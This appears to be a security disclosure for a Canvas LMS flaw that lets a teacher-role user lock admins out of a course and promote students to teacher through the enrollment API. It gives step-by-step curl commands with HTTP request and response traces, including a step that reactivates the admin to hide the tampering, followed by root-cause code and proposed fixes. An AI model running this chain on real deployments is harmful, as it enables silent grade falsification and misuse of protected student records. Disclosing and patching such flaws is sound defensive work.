| Type | software |
| Product Environment | web |
| Product Name | Canvas LMS |
| Product Vendor | Instructure |
| Product Version | release_2026-05-20.143 |
| Product Link | https://www.instructure.com/ |
| Vulnerability Name | Account Takeover |
| Severity | Critical |
|
CVSS String
|
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H |
| CVSS Score | 9.9 |
| CVE ID | - |
| Vendor Acknowledgement | No |
|
Affected digital Assets
|
4000 |
|
Affected Users
|
30000000 |
| Date of Reporting | 2026-04-20 |
| PoC Exploit | - |
| Credit | 0xhamy |
Thanks to Basant Kumar for assisting with identifying this vulnerability.
P1 -- Critical
A teacher-role user can promote any student to full teacher privileges and deactivate peer teachers' enrollments via the enrollment API -- all through authenticated API calls that generate zero alerts. A promoted student gains the ability to modify their own grades, access all student submissions, and alter course content. In an LMS trusted by 100+ million users for legally protected academic records (FERPA, GDPR), this enables silent grade falsification, transcript manipulation, and academic fraud. Note: account-level administrators retain access via account permissions even if their course enrollment is deactivated; however, non-admin teachers (the majority of instructors in typical Canvas deployments) are fully locked out.
Bugcrowd VRT: Server Security Misconfiguration > Privilege Escalation > Horizontal/Vertical
POST /api/v1/courses/{course_id}/enrollments (enrollment creation -- no role hierarchy enforcement)DELETE /api/v1/courses/{course_id}/enrollments/{enrollment_id}?task=deactivate (enrollment deactivation -- no protection for admin enrollments)The Canvas LMS enrollment API grants teachers the ability to create enrollments of any type (including TeacherEnrollment and DesignerEnrollment) and to deactivate any enrollment in their course -- including the account administrator's. These two capabilities chain into a full course takeover: the attacker deactivates the admin, promotes an accomplice to teacher, and gains unchallenged control over grades, assignments, and course content. The attack is completely silent (no notifications are sent to the deactivated admin) and reversible (the attacker can reactivate the admin afterward to cover their tracks).
Prerequisites:
Confirm the admin is actively enrolled and the student has only student-level access.
curl -s -X GET "http://localhost:3000/api/v1/courses/1/enrollments" \
-H "Authorization: Bearer <TEACHER_TOKEN>" | jq '.[] | {id, user_id, type, enrollment_state}'
Expected: Admin (user_id=1) has TeacherEnrollment (active), Student (user_id=2) has StudentEnrollment (active).
The teacher deactivates the admin's teacher enrollment, locking the admin out of course management.
curl -s -X DELETE "http://localhost:3000/api/v1/courses/1/enrollments/1?task=deactivate" \
-H "Authorization: Bearer <TEACHER_TOKEN>"
Expected response: HTTP 200 OK. The admin's enrollment_state changes from "active" to "inactive". The admin receives no notification of this change.
The teacher promotes the student to TeacherEnrollment, granting them full instructor privileges.
curl -s -X POST "http://localhost:3000/api/v1/courses/1/enrollments" \
-H "Authorization: Bearer <TEACHER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"enrollment":{"user_id":2,"type":"TeacherEnrollment","enrollment_state":"active"}}'
Expected response: HTTP 200 OK. New enrollment created with type: "TeacherEnrollment", enrollment_state: "active".
The teacher adds DesignerEnrollment to themselves, gaining course design privileges on top of their teaching role.
curl -s -X POST "http://localhost:3000/api/v1/courses/1/enrollments" \
-H "Authorization: Bearer <TEACHER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"enrollment":{"user_id":3,"type":"DesignerEnrollment","enrollment_state":"active"}}'
Expected response: HTTP 200 OK. Attacker now holds both TeacherEnrollment and DesignerEnrollment.
curl -s -X GET "http://localhost:3000/api/v1/courses/1/enrollments" \
-H "Authorization: Bearer <TEACHER_TOKEN>" | jq '.[] | {id, user_id, type, enrollment_state}'
Expected state:
enrollment_state: "inactive" -- course enrollment deactivated (note: account-level admins retain access via account permissions; non-admin teachers would be fully locked out)enrollment_state: "active" -- promoted to full teacher privilegesAfter making desired changes (grade modifications, content alterations), the attacker reactivates the admin.
curl -s -X PUT "http://localhost:3000/api/v1/courses/1/enrollments/1/reactivate" \
-H "Authorization: Bearer <TEACHER_TOKEN>"
The admin is restored and has no indication that their access was interrupted or that any changes were made by unauthorized parties.
DELETE /api/v1/courses/1/enrollments/1?task=deactivate HTTP/1.1
Host: localhost:3000
Authorization: Bearer <TEACHER_TOKEN>
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 1,
"course_id": 1,
"user_id": 1,
"type": "TeacherEnrollment",
"enrollment_state": "inactive",
...
}
POST /api/v1/courses/1/enrollments HTTP/1.1
Host: localhost:3000
Authorization: Bearer <TEACHER_TOKEN>
Content-Type: application/json
{"enrollment":{"user_id":2,"type":"TeacherEnrollment","enrollment_state":"active"}}
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 5,
"course_id": 1,
"user_id": 2,
"type": "TeacherEnrollment",
"enrollment_state": "active",
...
}
POST /api/v1/courses/1/enrollments HTTP/1.1
Host: localhost:3000
Authorization: Bearer <TEACHER_TOKEN>
Content-Type: application/json
{"enrollment":{"user_id":3,"type":"DesignerEnrollment","enrollment_state":"active"}}
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 4,
"course_id": 1,
"user_id": 3,
"type": "DesignerEnrollment",
"enrollment_state": "active",
...
}
This vulnerability chain enables a complete, silent takeover of any course by any user with teacher-level access. The real-world consequences are severe across multiple dimensions:
Academic Integrity (Critical):
Regulatory & Legal Exposure (Critical):
Institutional Trust (High):
Threat Model (Realistic):
Scale: Canvas LMS is used by thousands of educational institutions worldwide, serving over 100 million users. Every single Canvas deployment running default permissions is affected.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H Score: 9.9 (Critical)
| Metric | Value | Justification |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable via REST API over HTTPS |
| Attack Complexity (AC) | Low | Single API calls, no race conditions, no special configuration |
| Privileges Required (PR) | Low | Requires teacher-level account (not admin) |
| User Interaction (UI) | None | Fully automated, no victim interaction needed |
| Scope (S) | Changed | Teacher-scoped privilege affects admin-scoped enrollment and other users' roles |
| Confidentiality (C) | Low | Attacker gains read access to course content already visible to teachers; the primary impact is integrity/availability |
| Integrity (I) | High | Attacker can modify grades, assignments, enrollments, and course content -- all legally protected records |
| Availability (A) | High | Admin is locked out of the course entirely; course governance is denied |
The vulnerability originates from two design decisions in the Canvas LMS permission system that, when combined, create a privilege escalation chain.
File: config/initializers/permissions_registry.rb (lines 841-888)
The granular enrollment permissions are configured with true_for: %w[TeacherEnrollment AccountAdmin] for all enrollment types:
# Line 841-846
add_teacher_to_course: {
label: -> { I18n.t("Teachers - add") },
available_to: %w[TaEnrollment DesignerEnrollment TeacherEnrollment AccountAdmin AccountMembership],
true_for: %w[TeacherEnrollment AccountAdmin],
group: :manage_course_teacher_enrollments,
},
# Line 877-882
add_designer_to_course: {
label: -> { I18n.t("Designers - add") },
available_to: %w[TaEnrollment DesignerEnrollment TeacherEnrollment AccountAdmin AccountMembership],
true_for: %w[TeacherEnrollment AccountAdmin],
group: :manage_course_designer_enrollments,
},
# Line 847-852 (same pattern for remove)
remove_teacher_from_course: {
true_for: %w[TeacherEnrollment AccountAdmin],
...
},
By default, any TeacherEnrollment has add_teacher_to_course, add_designer_to_course, remove_teacher_from_course, and remove_designer_from_course permissions. There is no distinction between "add a peer-level teacher" and "add a teacher who would outrank me."
File: app/models/enrollment.rb (lines 1021-1027, 1679-1685)
# Line 1021
def can_be_deleted_by(user, context, session)
return context.grants_right?(user, session, :use_student_view) if fake_student?
can_remove = can_delete_via_granular(user, session, context)
can_remove &&= user_id != user.id || context.account.grants_right?(user, session, :allow_course_admin_actions)
can_remove && context.id == (context.is_a?(Course) ? course_id : course_section_id)
end
# Line 1679
def can_delete_via_granular(user, session, context)
(teacher? && context.grants_right?(user, session, :remove_teacher_from_course)) ||
(ta? && context.grants_right?(user, session, :remove_ta_from_course)) ||
(designer? && context.grants_right?(user, session, :remove_designer_from_course)) ||
...
end
The can_be_deleted_by method checks only whether the caller has the remove_teacher_from_course permission. It does not check whether the target enrollment belongs to an account administrator. An admin enrolled in a course as TeacherEnrollment is treated identically to any other teacher -- there is no concept of "protected enrollments" or "admin-owned enrollments."
File: app/models/user.rb (lines 3460-3471)
def can_create_enrollment_for?(course, session, type)
return false if %w[StudentEnrollment ObserverEnrollment].include?(type) && MasterCourses::MasterTemplate.is_master_course?(course)
return false if course.template?
return true if type == "TeacherEnrollment" && course.grants_right?(self, session, :add_teacher_to_course)
return true if type == "DesignerEnrollment" && course.grants_right?(self, session, :add_designer_to_course)
...
false
end
The authorization check at line 723 of app/controllers/enrollments_api_controller.rb calls can_create_enrollment_for?, which only verifies "does this user have the permission to add this enrollment type?" It does not enforce a role hierarchy -- there is no check like "is the caller's privilege level >= the enrollment type being created?"
These three root causes chain together:
add_teacher_to_course and remove_teacher_from_course by default (permissions_registry.rb)Result: A teacher can remove the admin and add accomplices as teachers, achieving full course takeover.
Add admin-enrollment protection to the can_be_deleted_by method in app/models/enrollment.rb:
def can_be_deleted_by(user, context, session)
return context.grants_right?(user, session, :use_student_view) if fake_student?
# SECURITY: Prevent course-level users from deactivating/removing
# enrollments belonging to account administrators
target_user = self.user
if target_user.account_admin?(context.account || context.root_account)
return false unless user.account_admin?(context.account || context.root_account)
end
can_remove = can_delete_via_granular(user, session, context)
can_remove &&= user_id != user.id || context.account.grants_right?(user, session, :allow_course_admin_actions)
can_remove && context.id == (context.is_a?(Course) ? course_id : course_section_id)
end
Implement role hierarchy enforcement in can_create_enrollment_for? in app/models/user.rb:
ENROLLMENT_HIERARCHY = {
"AccountAdmin" => 4,
"TeacherEnrollment" => 3,
"DesignerEnrollment" => 3,
"TaEnrollment" => 2,
"ObserverEnrollment" => 1,
"StudentEnrollment" => 0
}.freeze
def can_create_enrollment_for?(course, session, type)
# ... existing checks ...
# Enforce: callers cannot create enrollments at or above their own level
# unless they are account admins
caller_max_level = course.enrollments.active.where(user_id: self.id)
.map { |e| ENROLLMENT_HIERARCHY[e.type] || 0 }.max || 0
target_level = ENROLLMENT_HIERARCHY[type] || 0
return false if target_level >= caller_max_level && !self.account_admin?(course.root_account)
# ... existing permission checks ...
end
In config/initializers/permissions_registry.rb, change the default for add_teacher_to_course and remove_teacher_from_course to exclude TeacherEnrollment from true_for:
add_teacher_to_course: {
label: -> { I18n.t("Teachers - add") },
available_to: %w[TaEnrollment DesignerEnrollment TeacherEnrollment AccountAdmin AccountMembership],
true_for: %w[AccountAdmin], # Changed: teachers should not add other teachers by default
group: :manage_course_teacher_enrollments,
},
This is a breaking change and requires a migration path for institutions that rely on teacher-initiated enrollment.